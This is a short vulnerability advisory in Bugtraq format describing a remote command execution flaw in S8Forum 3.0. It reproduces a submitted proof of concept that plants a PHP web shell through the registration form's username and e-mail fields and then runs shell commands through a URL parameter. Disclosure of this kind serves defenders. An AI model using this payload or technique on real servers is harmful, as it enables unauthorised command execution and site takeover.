S8Forum Remote Command Execution Vulnerability

Bugtraq ID:	6547
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 06 2003 12:00AM
Updated:	Jan 06 2003 12:00AM
Credit:	Discovery of this issue is credited to [email protected].
Vulnerable:	Kelli Shaver S8Forum 3.0
Not Vulnerable:

S8Forum Remote Command Execution Vulnerability

S8Forum is prone to a remote command execution vulnerability.

When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP.

S8Forum Remote Command Execution Vulnerability

The following example was submitted:

- go to Register

- insert in Username:
any_name.php

- in password : any_pasword.

- in E-Mail:

<? system($cmd); ?>

Then request the following page:

http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a

S8Forum Remote Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

S8Forum Remote Command Execution Vulnerability

References:

• S8Forum Homepage (Kelli Shaver)
  
• A security vulnerability in S8Forum ([email protected])